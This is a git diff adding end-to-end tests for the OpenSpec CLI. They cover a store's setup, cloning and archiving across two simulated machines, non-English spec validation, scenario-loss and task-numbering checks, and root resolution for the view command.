machineEnv(path.join(base, 'machine-b', 'home'), emptyGitConfig); + + await fs.mkdir(path.join(projectDir, 'src'), { recursive: true }); + await fs.writeFile(path.join(projectDir, 'README.md'), '# app\n', 'utf-8'); + await fs.writeFile(path.join(projectDir, 'src', 'main.ts'), 'export {};\n', 'utf-8'); + projectSnapshot = await snapshotDirectory(projectDir); +}, 120_000); + +afterAll(async () => { + cleanupTempPath(base); +}); + +describe('standalone store lifecycle journey', () => { + it('machine A: setup produces a committed, clonable repo', async () => { + const result = await runCLI( + ['store', 'setup', STORE_ID, '--path', storeRoot, '--json'], + { env: machineA } + ); + + expect(result.exitCode).toBe(0); + const payload = JSON.parse(result.stdout); + expect(payload.git).toEqual({ + is_repository: true, + initialized: true, + committed: true, + }); + expect(payload.created_files).toEqual( + expect.arrayContaining([ + 'openspec/config.yaml', + 'openspec/specs/.gitkeep', + 'openspec/changes/archive/.gitkeep', + '.openspec-store/store.yaml', + ]) + ); + + const log = await git(storeRoot, machineA, ['log', '--format=%s']); + expect(log.trim().split('\n')).toHaveLength(1); + expect(log).toContain(`Initialize OpenSpec store ${STORE_ID}`); + + const committedFiles = await git(storeRoot, machineA, [ + 'show', + '--name-only', + '--format=', + 'HEAD', + ]); + expect(committedFiles).toContain('.openspec-store/store.yaml'); + expect(committedFiles).toContain('openspec/specs/.gitkeep'); + expect(committedFiles).toContain('openspec/changes/archive/.gitkeep'); + + const status = await git(storeRoot, machineA, ['status', '--porcelain']); + expect(status.trim()).toBe(''); + }); + + it('machine A: doctor and list see a healthy store with git facts', async () => { + const list = await runCLI(['store', 'list', '--json'], { env: machineA }); + expect(list.exitCode).toBe(0); + expect(JSON.parse(list.stdout).stores).toHaveLength(1); + + const doctor = await runCLI(['store', 'doctor', STORE_ID, '--json'], { + env: machineA, + }); + expect(doctor.exitCode).toBe(0); + const store = JSON.parse(doctor.stdout).stores[0]; + expect(store.openspec_root.healthy).toBe(true); + expect(store.git).toEqual({ + is_repository: true, + has_commits: true, + has_uncommitted_changes: false, + has_remote: false, + origin_url: null, + }); + expect(store.status).toEqual([]); + + // Human output surfaces the same Git facts. + const humanDoctor = await runCLI(['store', 'doctor', STORE_ID], { env: machineA }); + expect(humanDoctor.exitCode).toBe(0); + expect(humanDoctor.stdout).toContain( + 'Git: repository detected (commits: yes, uncommitted changes: no, remote: none)' + ); + }); + + it('machine A: works a change through archive from the project repo', async () => { + const changeId = 'add-billing'; + + const created = await runCLI( + ['new', 'change', changeId, '--store', STORE_ID, '--json'], + { env: machineA, cwd: projectDir } + ); + expect(created.exitCode).toBe(0); + const createdPayload = JSON.parse(created.stdout); + expect(createdPayload.root).toEqual({ + path: canonical(storeRoot), + source: 'store', + store_id: STORE_ID, + }); + expect(path.isAbsolute(createdPayload.change.path)).toBe(true); + + const status = await runCLI( + ['status', '--change', changeId, '--store', STORE_ID], + { env: machineA, cwd: projectDir } + ); + expect(status.exitCode).toBe(0); + expect(status.stderr).toContain(`Using OpenSpec root: ${STORE_ID}`); + expect(status.stdout).not.toContain('Planning home'); + + const instructions = await runCLI( + ['instructions', 'proposal', '--change', changeId, '--store', STORE_ID], + { env: machineA, cwd: projectDir } + ); + expect(instructions.exitCode).toBe(0); + expect(instructions.stdout).toContain( + path.join(canonical(storeRoot), 'openspec', 'changes', changeId, 'proposal.md') + ); + + // The test acts as the agent and writes the artifacts. + const changeDir = path.join(storeRoot, 'openspec', 'changes', changeId); + await writeCompletedChangeArtifacts(changeDir, 'billing'); + + const validated = await runCLI( + ['validate', changeId, '--store', STORE_ID], + { env: machineA, cwd: projectDir } + ); + expect(validated.exitCode).toBe(0); + expect(validated.stdout).toContain('is valid'); + + const listed = await runCLI( + ['list', '--store', STORE_ID, '--json'], + { env: machineA, cwd: projectDir } + ); + expect(listed.exitCode).toBe(0); + expect(JSON.parse(listed.stdout).changes.map((c: { name: string }) => c.name)).toContain( + changeId + ); + + const shown = await runCLI( + ['show', changeId, '--store', STORE_ID], + { env: machineA, cwd: projectDir } + ); + expect(shown.exitCode).toBe(0); + expect(shown.stdout).toContain('# Proposal'); + + const archived = await runCLI( + ['archive', changeId, '--store', STORE_ID, '--yes', '--json'], + { env: machineA, cwd: projectDir } + ); + expect(archived.exitCode).toBe(0); + const archivePayload = JSON.parse(archived.stdout); + expect(archivePayload.archive.change).toBe(changeId); + expect(archivePayload.root.store_id).toBe(STORE_ID); + + const specPath = path.join(storeRoot, 'openspec', 'specs', 'billing', 'spec.md'); + await expect(fs.readFile(specPath, 'utf-8')).resolves.toContain('billing SHALL work'); + + const archiveEntries = await fs.readdir( + path.join(storeRoot, 'openspec', 'changes', 'archive') + ); + expect(archiveEntries.some((entry) => entry.endsWith(`-${changeId}`))).toBe(true); + }, JOURNEY_TIMEOUT_MS); + + it('machine A: the project repo is byte-identical after the lifecycle', async () => { + const after = await snapshotDirectory(projectDir); + expect(after).toEqual(projectSnapshot); + }); + + it('machine B: a clone registers without ceremony and reads promoted specs', async () => { + // The test acts as the user: commit machine A's work before sharing. + await git(storeRoot, machineA, ['add', '-A']); + await git(storeRoot, machineA, ['commit', '-m', 'Work the add-billing change']); + await fs.mkdir(path.dirname(cloneRoot), { recursive: true }); + await git(path.dirname(cloneRoot), machineB, ['clone', storeRoot, cloneRoot]); + + const commitsBeforeRegister = ( + await git(cloneRoot, machineB, ['rev-list', '--count', 'HEAD']) + ).trim(); + + const registered = await runCLI( + ['store', 'register', cloneRoot, '--json'], + { env: machineB } + ); + expect(registered.exitCode).toBe(0); + const payload = JSON.parse(registered.stdout); + expect(payload.store.id).toBe(STORE_ID); + expect(payload.created_files).toEqual([]); + + // Register never commits. + const commitsAfterRegister = ( + await git(cloneRoot, machineB, ['rev-list', '--count', 'HEAD']) + ).trim(); + expect(commitsAfterRegister).toBe(commitsBeforeRegister); + + const doctor = await runCLI(['store', 'doctor', STORE_ID, '--json'], { + env: machineB, + }); + expect(doctor.exitCode).toBe(0); + expect(JSON.parse(doctor.stdout).stores[0].openspec_root.healthy).toBe(true); + + const specs = await runCLI( + ['list', '--specs', '--store', STORE_ID, '--json'], + { env: machineB, cwd: base } + ); + expect(specs.exitCode).toBe(0); + const specsPayload = JSON.parse(specs.stdout); + expect(specsPayload.specs.map((spec: { id: string }) => spec.id)).toContain('billing'); + expect(specsPayload.root.store_id).toBe(STORE_ID); + + const shownSpec = await runCLI( + ['show', 'billing', '--store', STORE_ID], + { env: machineB, cwd: base } + ); + expect(shownSpec.exitCode).toBe(0); + expect(shownSpec.stdout).toContain('billing SHALL work'); + }, JOURNEY_TIMEOUT_MS); + + it('machine B: completes its own change through archive in the clone', async () => { + const changeId = 'add-invoicing'; + + const created = await runCLI( + ['new', 'change', changeId, '--store', STORE_ID], + { env: machineB, cwd: base } + ); + expect(created.exitCode).toBe(0); + expect(created.stderr).toContain(`Using OpenSpec root: ${STORE_ID}`); + expect(created.stdout).toContain(`--store ${STORE_ID}`); + + const instructions = await runCLI( + ['instructions', 'proposal', '--change', changeId, '--store', STORE_ID], + { env: machineB, cwd: base } + ); + expect(instructions.exitCode).toBe(0); + expect(instructions.stdout).toContain( + path.join(canonical(cloneRoot), 'openspec', 'changes', changeId, 'proposal.md') + ); + + const changeDir = path.join(cloneRoot, 'openspec', 'changes', changeId); + await writeCompletedChangeArtifacts(changeDir, 'invoicing'); + + const status = await runCLI( + ['status', '--change', changeId, '--store', STORE_ID], + { env: machineB, cwd: base } + ); + expect(status.exitCode).toBe(0); + expect(status.stdout).toContain('All planning artifacts complete!'); + + const statusJson = await runCLI( + ['status', '--change', changeId, '--store', STORE_ID, '--json'], + { env: machineB, cwd: base } + ); + expect(statusJson.exitCode).toBe(0); + expect(JSON.parse(statusJson.stdout).nextSteps[0]).toContain(`--store ${STORE_ID}`); + + const validated = await runCLI( + ['validate', changeId, '--store', STORE_ID], + { env: machineB, cwd: base } + ); + expect(validated.exitCode).toBe(0); + expect(validated.stdout).toContain('is valid'); + + const archived = await runCLI( + ['archive', changeId, '--store', STORE_ID, '--yes', '--json'], + { env: machineB, cwd: base } + ); + expect(archived.exitCode).toBe(0); + expect(JSON.parse(archived.stdout).archive.change).toBe(changeId); + + const specPath = path.join(cloneRoot, 'openspec', 'specs', 'invoicing', 'spec.md'); + await expect(fs.readFile(specPath, 'utf-8')).resolves.toContain('invoicing SHALL work'); + + // Post-resolution failures keep the banner, and the hint keeps the store: + // with everything archived, instructions apply fails after the root + // resolved successfully. + const failedApply = await runCLI( + ['instructions', 'apply', '--store', STORE_ID], + { env: machineB, cwd: base } + ); + expect(failedApply.exitCode).not.toBe(0); + expect(failedApply.stderr).toContain(`Using OpenSpec root: ${STORE_ID}`); + expect(failedApply.stderr).toContain(`openspec new change <name> --store ${STORE_ID}`); + }, JOURNEY_TIMEOUT_MS); + + it('end state is just normal OpenSpec files in both checkouts', async () => { + for (const root of [storeRoot, cloneRoot]) { + const entries = await listRelativeEntries(root, new Set(['.git'])); + + for (const entry of entries) { + expect(entry).toMatch(/^(\.openspec-store(\/|\/store\.yaml)?|openspec(\/.*)?)$/); + expect(entry).not.toMatch(/initiative|workspace/i); + } + + expect(entries).toContain('.openspec-store/store.yaml'); + expect(entries).toContain('openspec/config.yaml'); + } + + // Global state holds only registry/config metadata, no planning files. + for (const env of [machineA, machineB]) { + const dataEntries = await listRelativeEntries( + path.join(env.XDG_DATA_HOME as string, 'openspec'), + new Set() + ); + expect(dataEntries).toEqual(['stores/', 'stores/registry.yaml']); + } + }); + + it('setup fails before creating anything when Git identity is missing', async () => { + const strictConfig = path.join(base, 'strict-gitconfig'); + await fs.writeFile(strictConfig, '[user]\n\tuseConfigOnly = true\n', 'utf-8'); + + const noIdentity: NodeJS.ProcessEnv = { + ...machineEnv(path.join(base, 'machine-c', 'home'), strictConfig), + GIT_AUTHOR_NAME: '', + GIT_AUTHOR_EMAIL: '', + GIT_COMMITTER_NAME: '', + GIT_COMMITTER_EMAIL: '', + }; + const target = path.join(base, 'machine-c', 'no-identity-store'); + + const result = await runCLI( + ['store', 'setup', 'no-identity', '--path', target, '--json'], + { env: noIdentity } + ); + expect(result.exitCode).toBe(1); + const payload = JSON.parse(result.stdout); + expect(payload.status[0].code).toBe('store_git_identity_missing'); + expect(payload.status[0].fix).toContain('git config --global user.name'); + + await expect(fs.access(target)).rejects.toThrow(); + + // --no-init-git needs no identity and creates no repo. + const optOut = await runCLI( + ['store', 'setup', 'no-identity', '--path', target, '--no-init-git', '--json'], + { env: noIdentity } + ); + expect(optOut.exitCode).toBe(0); + const optOutPayload = JSON.parse(optOut.stdout); + expect(optOutPayload.git).toEqual({ + is_repository: false, + initialized: false, + committed: false, + }); + await expect(fs.access(path.join(target, '.git'))).rejects.toThrow(); + }); +}); diff --git a/test/cli-e2e/validate-international.test.ts b/test/cli-e2e/validate-international.test.ts new file mode 100644 index 0000000000..da0ceb040f --- /dev/null +++ b/test/cli-e2e/validate-international.test.ts @@ -0,0 +1,143 @@ +import { afterAll, describe, expect, it } from 'vitest'; +import { promises as fs } from 'fs'; +import path from 'path'; +import { tmpdir } from 'os'; +import { runCLI } from '../helpers/run-cli.js'; + +const tempRoots: string[] = []; + +/** Create a temporary project containing a non-English main spec. */ +async function prepareNonEnglishSpec(): Promise<string> { + const projectDir = await fs.mkdtemp(path.join(tmpdir(), 'openspec-i18n-validation-')); + tempRoots.push(projectDir); + const specDir = path.join(projectDir, 'openspec', 'specs', '日志记录'); + await fs.mkdir(specDir, { recursive: true }); + await fs.writeFile( + path.join(specDir, 'spec.md'), + `# 日志记录 + +## Purpose +记录应用程序中的重要事件,以便团队能够诊断问题、调查故障、审计活动并了解长期的系统行为。 + +## Requirements + +### Requirement: 事件记录 +系统必须记录应用程序中的重要事件。 + +#### Scenario: 事件发生 +- **WHEN** 应用程序生成重要事件 +- **THEN** 系统保存该事件 +` + ); + return projectDir; +} + +/** Create a temporary project containing a non-English change delta. */ +async function prepareNonEnglishChange(): Promise<string> { + const projectDir = await fs.mkdtemp(path.join(tmpdir(), 'openspec-i18n-change-validation-')); + tempRoots.push(projectDir); + const specDir = path.join( + projectDir, + 'openspec', + 'changes', + '添加日志', + 'specs', + '日志记录' + ); + await fs.mkdir(specDir, { recursive: true }); + await fs.writeFile( + path.join(specDir, 'spec.md'), + `# 日志记录变更 + +## ADDED Requirements + +### Requirement: 事件记录 +系统必须记录应用程序中的重要事件。 + +#### Scenario: 事件发生 +- **WHEN** 应用程序生成重要事件 +- **THEN** 系统保存该事件 +` + ); + return projectDir; +} + +afterAll(async () => { + await Promise.all(tempRoots.map((dir) => fs.rm(dir, { recursive: true, force: true }))); +}); + +describe('non-English validation (#243)', () => { + it('passes normally with guidance but still fails in strict mode', async () => { + const projectDir = await prepareNonEnglishSpec(); + + const normal = await runCLI( + ['validate', '日志记录', '--type', 'spec', '--no-interactive'], + { cwd: projectDir } + ); + expect(normal.exitCode).toBe(0); + expect(normal.stdout).toContain('Specification'); + expect(normal.stdout).toContain('is valid'); + + const normalJson = await runCLI( + ['validate', '日志记录', '--type', 'spec', '--json', '--no-interactive'], + { cwd: projectDir } + ); + const report = JSON.parse(normalJson.stdout); + expect(normalJson.exitCode).toBe(0); + expect(report.summary.totals).toMatchObject({ passed: 1, failed: 0 }); + expect(report.items[0].valid).toBe(true); + expect(report.items[0].issues).toContainEqual( + expect.objectContaining({ + level: 'WARNING', + message: expect.stringContaining('should contain SHALL or MUST'), + }) + ); + + const strict = await runCLI( + ['validate', '日志记录', '--type', 'spec', '--strict', '--no-interactive'], + { cwd: projectDir } + ); + expect(strict.exitCode).toBe(1); + const strictOutput = `${strict.stdout}${strict.stderr}`; + expect(strictOutput).toContain('should contain SHALL or MUST'); + expect(strictOutput).toContain('has issues'); + }); + + it('validates a non-English change delta normally but not in strict mode', async () => { + const projectDir = await prepareNonEnglishChange(); + + const normalJson = await runCLI( + ['validate', '添加日志', '--type', 'change', '--json', '--no-interactive'], + { cwd: projectDir } + ); + const normalReport = JSON.parse(normalJson.stdout); + expect(normalJson.exitCode).toBe(0); + expect(normalReport.summary.totals).toMatchObject({ passed: 1, failed: 0 }); + expect(normalReport.items[0]).toMatchObject({ + id: '添加日志', + type: 'change', + valid: true, + }); + expect(normalReport.items[0].issues).toContainEqual( + expect.objectContaining({ + level: 'WARNING', + message: expect.stringContaining('should contain SHALL or MUST'), + }) + ); + + const strictJson = await runCLI( + ['validate', '添加日志', '--type', 'change', '--strict', '--json', '--no-interactive'], + { cwd: projectDir } + ); + const strictReport = JSON.parse(strictJson.stdout); + expect(strictJson.exitCode).toBe(1); + expect(strictReport.summary.totals).toMatchObject({ passed: 0, failed: 1 }); + expect(strictReport.items[0].valid).toBe(false); + expect(strictReport.items[0].issues).toContainEqual( + expect.objectContaining({ + level: 'WARNING', + message: expect.stringContaining('should contain SHALL or MUST'), + }) + ); + }); +}); diff --git a/test/cli-e2e/validate-scenario-loss.test.ts b/test/cli-e2e/validate-scenario-loss.test.ts new file mode 100644 index 0000000000..cd0375bff4 --- /dev/null +++ b/test/cli-e2e/validate-scenario-loss.test.ts @@ -0,0 +1,104 @@ +import { afterAll, describe, it, expect, beforeAll } from 'vitest'; +import { promises as fs } from 'fs'; +import path from 'path'; +import { tmpdir } from 'os'; +import { runCLI } from '../helpers/run-cli.js'; + +/** + * The scenario-loss check (#1477) only runs when a command hands the validator + * its main specs root, so these exercise the wiring through the real CLI — + * every entry point, and the exit code each one reports. + */ +describe('openspec validate reports scenarios a MODIFIED block would drop (#1477)', () => { + const tempRoots: string[] = []; + let projectDir: string; + + const write = async (relative: string, content: string) => { + const file = path.join(projectDir, relative); + await fs.mkdir(path.dirname(file), { recursive: true }); + await fs.writeFile(file, content); + }; + + beforeAll(async () => { + const base = await fs.mkdtemp(path.join(tmpdir(), 'openspec-scenario-loss-e2e-')); + tempRoots.push(base); + projectDir = path.join(base, 'project'); + await fs.mkdir(projectDir, { recursive: true }); + + await write( + 'openspec/specs/widgets/spec.md', + `# widgets Specification\n\n## Purpose\nDefine widget behavior for the end-to-end check.\n\n## Requirements\n\n### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Existing scenario\n- **WHEN** queried\n- **THEN** the state is reported\n\n#### Scenario: Second scenario\n- **WHEN** idle\n- **THEN** idle is reported\n` + ); + await write( + 'openspec/changes/drops-a-scenario/proposal.md', + `# Drops a scenario\n\n## Why\nExercise the check.\n\n## What Changes\n- Rewrite one scenario\n` + ); + await write( + 'openspec/changes/drops-a-scenario/specs/widgets/spec.md', + `## MODIFIED Requirements\n\n### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Existing scenario\n- **WHEN** queried\n- **THEN** the state is reported\n` + ); + await write( + 'openspec/changes/keeps-every-scenario/proposal.md', + `# Keeps every scenario\n\n## Why\nControl case.\n\n## What Changes\n- Reword the requirement\n` + ); + await write( + 'openspec/changes/keeps-every-scenario/specs/widgets/spec.md', + `## MODIFIED Requirements\n\n### Requirement: Widget state\nThe system SHALL report the widget state promptly.\n\n#### Scenario: Existing scenario\n- **WHEN** queried\n- **THEN** the state is reported\n\n#### Scenario: Second scenario\n- **WHEN** idle\n- **THEN** idle is reported\n` + ); + }); + + afterAll(async () => { + await Promise.all(tempRoots.map((dir) => fs.rm(dir, { recursive: true, force: true }))); + }); + + it('fails `validate <change>` with exit code 1 and names the dropped scenario', async () => { + const result = await runCLI(['validate', '--type', 'change', 'drops-a-scenario'], { cwd: projectDir }); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('MODIFIED "Widget state" omits scenario(s)'); + expect(result.stderr).toContain('"Second scenario"'); + }); + + it('fails the same way under --strict, and reports it in --json', async () => { + const result = await runCLI( + ['validate', '--type', 'change', 'drops-a-scenario', '--strict', '--json'], + { cwd: projectDir } + ); + + expect(result.exitCode).toBe(1); + const report = JSON.parse(result.stdout); + const issue = report.items[0].issues.find((i: { message: string }) => + i.message.includes('omits scenario(s)') + ); + expect(issue.level).toBe('ERROR'); + expect(issue.path).toBe('widgets/spec.md'); + }); + + it('reports it in bulk `validate --changes`', async () => { + const result = await runCLI(['validate', '--changes', '--json'], { cwd: projectDir }); + + expect(result.exitCode).toBe(1); + const report = JSON.parse(result.stdout); + const byId = Object.fromEntries( + report.items.map((item: { id: string; valid: boolean }) => [item.id, item.valid]) + ); + expect(byId['drops-a-scenario']).toBe(false); + expect(byId['keeps-every-scenario']).toBe(true); + }); + + it('reports it through the deprecated `change validate` command', async () => { + const result = await runCLI(['change', 'validate', 'drops-a-scenario'], { cwd: projectDir }); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('omits scenario(s)'); + }); + + it('leaves a change that carries every scenario over passing', async () => { + const result = await runCLI(['validate', '--type', 'change', 'keeps-every-scenario', '--strict'], { + cwd: projectDir, + }); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain("Change 'keeps-every-scenario' is valid"); + }); +}); diff --git a/test/cli-e2e/validate-task-numbering.test.ts b/test/cli-e2e/validate-task-numbering.test.ts new file mode 100644 index 0000000000..2d6a133b12 --- /dev/null +++ b/test/cli-e2e/validate-task-numbering.test.ts @@ -0,0 +1,211 @@ +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { promises as fs } from 'fs'; +import path from 'path'; +import { tmpdir } from 'os'; +import { runCLI } from '../helpers/run-cli.js'; + +describe('openspec validate checks task numbering (#1520)', () => { + let projectDir: string; + + const write = async (relative: string, content: string) => { + const file = path.join(projectDir, relative); + await fs.mkdir(path.dirname(file), { recursive: true }); + await fs.writeFile(file, content, 'utf-8'); + }; + + const validDelta = [ + '## ADDED Requirements', + '', + '### Requirement: Task validation SHALL preserve planning references', + 'The validator SHALL preserve unambiguous task references.', + '', + '#### Scenario: Validate a task list', + '- **WHEN** strict validation runs', + '- **THEN** inconsistent task numbering is reported', + '', + ].join('\n'); + + const globTasksSchema = [ + 'name: glob-tasks', + 'version: 1', + 'description: tasks artifact uses a nested glob', + 'artifacts:', + ' - id: proposal', + ' generates: proposal.md', + ' description: Proposal', + ' template: proposal.md', + ' requires: []', + ' - id: tasks', + ' generates: "**/tasks.md"', + ' description: Nested tasks', + ' template: tasks.md', + ' requires: [proposal]', + 'apply:', + ' requires: [tasks]', + ' tracks: "**/tasks.md"', + '', + ].join('\n'); + + beforeAll(async () => { + projectDir = await fs.mkdtemp(path.join(tmpdir(), 'openspec-task-numbering-e2e-')); + + await write( + 'openspec/changes/bad-numbering/specs/tasks/spec.md', + validDelta + ); + await write( + 'openspec/changes/bad-numbering/tasks.md', + [ + '## 10. First release', + '', + '- [x] 10.1 do a thing', + '- [x] 10.6 do another thing', + '', + '## 11. Register corrections', + '', + '- [x] 10.7 belongs to group 10', + '- [x] 10.8 also belongs to group 10', + '- [ ] 11.1 a real group-11 task', + '- [ ] 11.1 a duplicate id', + '', + ].join('\n') + ); + + await write( + 'openspec/changes/valid-numbering/specs/tasks/spec.md', + validDelta + ); + await write( + 'openspec/changes/valid-numbering/tasks.md', + [ + '# Tasks', + '- [ ] an unnumbered task before any numbered group', + '', + '## 3. Implementation', + '- [ ] 3.2a an inserted task', + ' - [ ] 3.2.1 a nested task', + '- [ ] 3.5 a numbering gap is allowed', + '', + '## Notes', + '- [ ] an unnumbered task under an unnumbered heading', + '', + ].join('\n') + ); + + await write('openspec/schemas/glob-tasks/schema.yaml', globTasksSchema); + await write( + 'openspec/changes/nested-numbering/.openspec.yaml', + 'schema: glob-tasks\n' + ); + await write( + 'openspec/changes/nested-numbering/specs/tasks/spec.md', + validDelta + ); + await write( + 'openspec/changes/nested-numbering/backend/tasks.md', + '## 2. Backend\n- [ ] 3.1 wrong group\n' + ); + await write( + 'openspec/changes/nested-numbering/frontend/tasks.md', + '## 4. Frontend\n- [ ] 4.1 correct group\n' + ); + }); + + afterAll(async () => { + await fs.rm(projectDir, { recursive: true, force: true }); + }); + + it('reports duplicate full ids and group mismatches under --strict', async () => { + const result = await runCLI( + ['validate', '--type', 'change', 'bad-numbering', '--strict', '--json'], + { cwd: projectDir } + ); + + expect(result.exitCode).toBe(1); + const report = JSON.parse(result.stdout); + const issues = report.items[0].issues.filter( + (issue: { path: string }) => issue.path === 'tasks.md' + ); + expect(issues).toEqual([ + expect.objectContaining({ + level: 'WARNING', + line: 8, + message: expect.stringContaining('10.7'), + }), + expect.objectContaining({ + level: 'WARNING', + line: 9, + message: expect.stringContaining('10.8'), + }), + expect.objectContaining({ + level: 'WARNING', + line: 11, + message: expect.stringMatching(/11\.1.*duplicate/i), + }), + ]); + }); + + it('keeps warnings non-blocking without --strict', async () => { + const result = await runCLI( + ['validate', '--type', 'change', 'bad-numbering', '--json'], + { cwd: projectDir } + ); + + expect(result.exitCode).toBe(0); + const report = JSON.parse(result.stdout); + expect(report.items[0].valid).toBe(true); + expect( + report.items[0].issues.filter((issue: { level: string }) => issue.level === 'WARNING') + ).toHaveLength(3); + }); + + it('allows full-depth ids, suffixes, gaps, and unnumbered sections', async () => { + const result = await runCLI( + ['validate', '--type', 'change', 'valid-numbering', '--strict'], + { cwd: projectDir } + ); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain("Change 'valid-numbering' is valid"); + }); + + it('applies the same warnings to bulk validation', async () => { + const result = await runCLI(['validate', '--changes', '--strict', '--json'], { + cwd: projectDir, + }); + + expect(result.exitCode).toBe(1); + const report = JSON.parse(result.stdout); + const byId = Object.fromEntries( + report.items.map((item: { id: string; valid: boolean }) => [item.id, item.valid]) + ); + expect(byId['bad-numbering']).toBe(false); + expect(byId['valid-numbering']).toBe(true); + expect(byId['nested-numbering']).toBe(true); + }); + + it('does not apply the built-in numbering grammar to a custom schema', async () => { + const result = await runCLI( + ['validate', '--type', 'change', 'nested-numbering', '--strict', '--json'], + { cwd: projectDir } + ); + + expect(result.exitCode).toBe(0); + const report = JSON.parse(result.stdout); + const taskIssues = report.items[0].issues.filter( + (issue: { path: string }) => issue.path.endsWith('tasks.md') + ); + expect(taskIssues).toEqual([]); + }); + + it('applies the same warnings to the deprecated change validate command', async () => { + const result = await runCLI( + ['change', 'validate', 'bad-numbering', '--strict'], + { cwd: projectDir } + ); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('Task "10.7" is under group 11'); + expect(result.stderr).toContain('Task ID "11.1" is duplicated'); + }); +}); diff --git a/test/cli-e2e/view-store-resolution.test.ts b/test/cli-e2e/view-store-resolution.test.ts new file mode 100644 index 0000000000..415ca4d93f --- /dev/null +++ b/test/cli-e2e/view-store-resolution.test.ts @@ -0,0 +1,191 @@ +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { promises as fs } from 'fs'; +import path from 'path'; +import { tmpdir } from 'os'; +import { runCLI } from '../helpers/run-cli.js'; +import { cleanupTempPath } from '../helpers/temp-cleanup.js'; + +/** + * `openspec view` used to hard-code '.' as its target, so a project whose + * openspec/config.yaml points at an external store rendered an empty dashboard + * while `openspec list` read the store correctly. These cover the fix and the + * cwd-fallback behavior view shares with list/status. + */ + +const STORE_ID = 'view-store'; +const TIMEOUT_MS = 60_000; + +let base: string; +let storeRoot: string; +let pointerProject: string; +let env: NodeJS.ProcessEnv; + +const SPEC = `# billing + +## Purpose + +Billing rules. + +## Requirements + +### Requirement: Charge a card +The system SHALL charge a card. + +#### Scenario: card is charged +- **WHEN** a payment is due +- **THEN** the card is charged +`; + +beforeAll(async () => { + base = await fs.mkdtemp(path.join(tmpdir(), 'openspec-view-store-')); + storeRoot = path.join(base, 'store'); + pointerProject = path.join(base, 'project'); + + env = { + XDG_CONFIG_HOME: path.join(base, 'home', 'config'), + XDG_DATA_HOME: path.join(base, 'home', 'data'), + XDG_STATE_HOME: path.join(base, 'home', 'state'), + XDG_CACHE_HOME: path.join(base, 'home', 'cache'), + OPENSPEC_TELEMETRY: '0', + }; + + await fs.mkdir(storeRoot, { recursive: true }); + const setup = await runCLI( + ['store', 'setup', STORE_ID, '--path', storeRoot, '--no-init-git'], + { cwd: base, env, timeoutMs: TIMEOUT_MS } + ); + expect(setup.exitCode, setup.stderr).toBe(0); + + const specDir = path.join(storeRoot, 'openspec', 'specs', 'billing'); + await fs.mkdir(specDir, { recursive: true }); + await fs.writeFile(path.join(specDir, 'spec.md'), SPEC); + + await fs.mkdir(path.join(pointerProject, 'openspec'), { recursive: true }); + await fs.writeFile( + path.join(pointerProject, 'openspec', 'config.yaml'), + `store: ${STORE_ID}\n` + ); +}, TIMEOUT_MS); + +afterAll(async () => { + await cleanupTempPath(base); +}); + +describe('openspec view root resolution', () => { + it( + 'follows a store pointer declared in openspec/config.yaml', + async () => { + const result = await runCLI(['view'], { + cwd: pointerProject, + env, + timeoutMs: TIMEOUT_MS, + }); + + expect(result.exitCode, result.stderr).toBe(0); + expect(result.stdout).toContain('1 specs, 1 requirements'); + expect(result.stdout).toContain('billing'); + }, + TIMEOUT_MS + ); + + it( + 'targets a registered store when --store is passed', + async () => { + const outside = path.join(base, 'outside'); + await fs.mkdir(outside, { recursive: true }); + + const result = await runCLI(['view', '--store', STORE_ID], { + cwd: outside, + env, + timeoutMs: TIMEOUT_MS, + }); + + expect(result.exitCode, result.stderr).toBe(0); + expect(result.stdout).toContain('1 specs, 1 requirements'); + }, + TIMEOUT_MS + ); + + it( + 'still renders an openspec/ directory that predates config.yaml', + async () => { + // Regression guard: a pre-config.yaml openspec/ resolves no root, so + // view has to fall back to the cwd rather than refusing outright. + // Isolated home: no store is registered, which is the common case. + const legacy = path.join(base, 'legacy'); + await fs.mkdir(path.join(legacy, 'openspec'), { recursive: true }); + await fs.writeFile( + path.join(legacy, 'openspec', 'project.md'), + '# Project\n' + ); + + const storeless: NodeJS.ProcessEnv = { + ...env, + XDG_CONFIG_HOME: path.join(base, 'storeless', 'config'), + XDG_DATA_HOME: path.join(base, 'storeless', 'data'), + }; + + const view = await runCLI(['view'], { + cwd: legacy, + env: storeless, + timeoutMs: TIMEOUT_MS, + }); + const list = await runCLI(['list'], { + cwd: legacy, + env: storeless, + timeoutMs: TIMEOUT_MS, + }); + + expect(list.exitCode, list.stderr).toBe(0); + expect(view.exitCode, view.stderr).toBe(0); + expect(view.stdout).toContain('OpenSpec Dashboard'); + }, + TIMEOUT_MS + ); + + it( + 'refuses a rootless directory exactly when list does', + async () => { + // view is no longer the odd command out: where a registered store makes + // list demand --store, view now gives the same actionable error. + const legacy = path.join(base, 'legacy-with-store'); + await fs.mkdir(path.join(legacy, 'openspec'), { recursive: true }); + await fs.writeFile( + path.join(legacy, 'openspec', 'project.md'), + '# Project\n' + ); + + const view = await runCLI(['view'], { + cwd: legacy, + env, + timeoutMs: TIMEOUT_MS, + }); + const list = await runCLI(['list'], { + cwd: legacy, + env, + timeoutMs: TIMEOUT_MS, + }); + + expect(view.exitCode).toBe(list.exitCode); + expect(view.stderr).toContain(STORE_ID); + }, + TIMEOUT_MS + ); + + it( + 'reports a missing openspec directory outside any project', + async () => { + const bare = path.join(base, 'bare'); + await fs.mkdir(bare, { recursive: true }); + + const result = await runCLI(['view'], { + cwd: bare, + env, + timeoutMs: TIMEOUT_MS, + }); + + expect(result.exitCode).toBe(1); + }, + TIMEOUT_MS + ); +}); diff --git a/test/cli-e2e/workset-journey.test.ts b/test/cli-e2e/workset-journey.test.ts new file mode 100644 index 0000000000..06c3d01c44 --- /dev/null +++ b/test/cli-e2e/workset-journey.test.ts @@ -0,0 +1,258 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { getGlobalDataDir, registerStore } from '../../src/core/index.js'; +import { getWorksetsDir } from '../../src/core/worksets.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { createOpenSpecRoot } from '../helpers/openspec-fixtures.js'; 